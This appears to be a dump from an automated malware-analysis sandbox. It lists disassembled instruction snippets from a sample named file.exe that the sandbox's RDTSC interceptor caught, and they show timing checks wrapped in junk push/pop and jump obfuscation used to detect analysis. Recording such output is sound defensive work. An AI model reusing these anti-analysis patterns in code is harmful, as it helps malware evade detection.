Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 639708 second address: 639711 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 639711 second address: 63971C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F7C2525D0C6h 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6390C4 second address: 6390D0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63922C second address: 639232 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 639232 second address: 63925D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C25274A02h 0x00000007 jmp 00007F7C25274A01h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63925D second address: 639261 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 639261 second address: 639271 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 639271 second address: 639278 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63D78E second address: 63D793 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643396 second address: 64339C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64339C second address: 6433AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 jc 00007F7C25274A0Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6434BC second address: 6434C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6434C2 second address: 6434C8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F060D second address: 5F067C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c popad 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007F7C2525D0C8h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 0000001Bh 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 jno 00007F7C2525D0CCh 0x0000002e mov ebx, dword ptr [ebp+12494665h] 0x00000034 push 00000000h 0x00000036 push ebx 0x00000037 call 00007F7C2525D0C8h 0x0000003c pop ebx 0x0000003d mov dword ptr [esp+04h], ebx 0x00000041 add dword ptr [esp+04h], 00000019h 0x00000049 inc ebx 0x0000004a push ebx 0x0000004b ret 0x0000004c pop ebx 0x0000004d ret 0x0000004e add eax, ebx 0x00000050 or dl, FFFFFFA4h 0x00000053 push eax 0x00000054 push eax 0x00000055 push edx 0x00000056 push edi 0x00000057 push eax 0x00000058 push edx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F067C second address: 5F0681 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F0681 second address: 5F06B4 instructions: 0x00000000 rdtsc 0x00000002 je 00007F7C2525D0C8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f or dword ptr [ebp+122D3906h], edi 0x00000015 push 00000004h 0x00000017 or edx, dword ptr [ebp+122D1E76h] 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F7C2525D0D3h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643943 second address: 643949 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643949 second address: 64394D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643ADA second address: 643AFC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F7C25274A01h 0x00000008 jno 00007F7C252749F6h 0x0000000e pop esi 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push edi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643AFC second address: 643B01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 646FF4 second address: 64701D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ebx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jp 00007F7C252749F6h 0x00000010 jmp 00007F7C25274A09h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64749E second address: 6474A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6474A8 second address: 6474AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64DA53 second address: 64DA86 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F7C2525D0CCh 0x00000008 pushad 0x00000009 jmp 00007F7C2525D0CCh 0x0000000e jbe 00007F7C2525D0C6h 0x00000014 jnc 00007F7C2525D0C6h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d ja 00007F7C2525D0E6h 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64DA86 second address: 64DA8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64DA8C second address: 64DA9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b ja 00007F7C2525D0C6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64DD52 second address: 64DD56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64DD56 second address: 64DD5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64DD5A second address: 64DD66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F7C252749F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64E564 second address: 64E57F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7C2525D0D1h 0x00000009 jnl 00007F7C2525D0C6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64E57F second address: 64E5B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C25274A07h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F7C252749FDh 0x00000015 push edi 0x00000016 pop edi 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64E5B1 second address: 64E5B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64F53E second address: 64F548 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F7C252749F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64F548 second address: 64F54E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64F54E second address: 64F569 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7C25274A07h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64F569 second address: 64F56D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6527EC second address: 6527F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6527F2 second address: 652811 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F7C2525D0D6h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 652811 second address: 652846 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C252749FDh 0x00000007 jmp 00007F7C25274A03h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e je 00007F7C252749FEh 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 jbe 00007F7C252749F6h 0x0000001c push ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 652846 second address: 65284C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 652D3C second address: 652D40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653170 second address: 653184 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F7C2525D0CCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65D565 second address: 65D56A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65DF7B second address: 65DF81 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E0F9 second address: 65E0FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E0FF second address: 65E108 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E108 second address: 65E111 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E111 second address: 65E115 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E115 second address: 65E137 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C25274A04h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a jbe 00007F7C25274A0Ch 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E137 second address: 65E145 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F7C2525D0C6h 0x0000000a popad 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65EB43 second address: 65EB47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65EB47 second address: 65EB51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65EB51 second address: 65EB7E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jno 00007F7C252749F6h 0x0000000d jmp 00007F7C252749FDh 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F7C252749FEh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65EB7E second address: 65EB82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65D163 second address: 65D171 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65D171 second address: 65D17B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F7C2525D0C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6665ED second address: 666617 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7C25274A09h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007F7C252749F6h 0x00000014 push esi 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 666617 second address: 666650 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 ja 00007F7C2525D0C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d jmp 00007F7C2525D0D3h 0x00000012 pop edx 0x00000013 jne 00007F7C2525D0CEh 0x00000019 popad 0x0000001a push edi 0x0000001b je 00007F7C2525D0D2h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 666650 second address: 666656 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66AEED second address: 66AF29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push edi 0x0000000e jmp 00007F7C2525D0D1h 0x00000013 pushad 0x00000014 popad 0x00000015 pop edi 0x00000016 jmp 00007F7C2525D0CCh 0x0000001b push eax 0x0000001c jmp 00007F7C2525D0CBh 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66A7FB second address: 66A801 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66A801 second address: 66A82F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C2525D0D4h 0x00000007 jl 00007F7C2525D0C6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F7C2525D0CEh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66A82F second address: 66A848 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F7C252749F6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 jbe 00007F7C252749F6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66A848 second address: 66A84E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66A84E second address: 66A854 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66AA02 second address: 66AA0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F7C2525D0C6h 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66AB8D second address: 66AB9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7C252749FEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66AB9F second address: 66ABEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F7C2525D0C6h 0x00000009 pushad 0x0000000a popad 0x0000000b je 00007F7C2525D0C6h 0x00000011 popad 0x00000012 pushad 0x00000013 jmp 00007F7C2525D0CEh 0x00000018 push eax 0x00000019 pop eax 0x0000001a pushad 0x0000001b popad 0x0000001c jmp 00007F7C2525D0D7h 0x00000021 popad 0x00000022 pop edx 0x00000023 pop eax 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F7C2525D0CBh 0x0000002c push esi 0x0000002d pop esi 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66ABEE second address: 66ABF8 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F7C252749F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66ABF8 second address: 66AC01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66AC01 second address: 66AC31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7C25274A00h 0x00000009 jns 00007F7C252749F6h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F7C25274A03h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66AC31 second address: 66AC46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F7C2525D0CCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 677D27 second address: 677D2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 677D2C second address: 677D43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7C2525D0D2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C936 second address: 67C93A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C93A second address: 67C956 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F7C2525D0D3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C956 second address: 67C974 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7C25274A07h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C974 second address: 67C98A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F7C2525D0D1h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68CE57 second address: 68CE70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F7C252749FFh 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68CE70 second address: 68CE7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F7C2525D0C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68CE7C second address: 68CE81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68F0C7 second address: 68F0CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68F0CB second address: 68F0D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68F0D1 second address: 68F0E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F7C2525D0CCh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69306B second address: 69306F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69345B second address: 693492 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C2525D0CBh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F7C2525D0D9h 0x00000011 push edi 0x00000012 pop edi 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 693492 second address: 6934AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F7C252749F6h 0x0000000a jmp 00007F7C252749FCh 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6934AD second address: 6934B7 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F7C2525D0C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6934B7 second address: 6934BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6938E9 second address: 6938EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6938EF second address: 6938F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 693A0C second address: 693A11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69443B second address: 694441 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 694441 second address: 694446 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E140 second address: 59E146 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
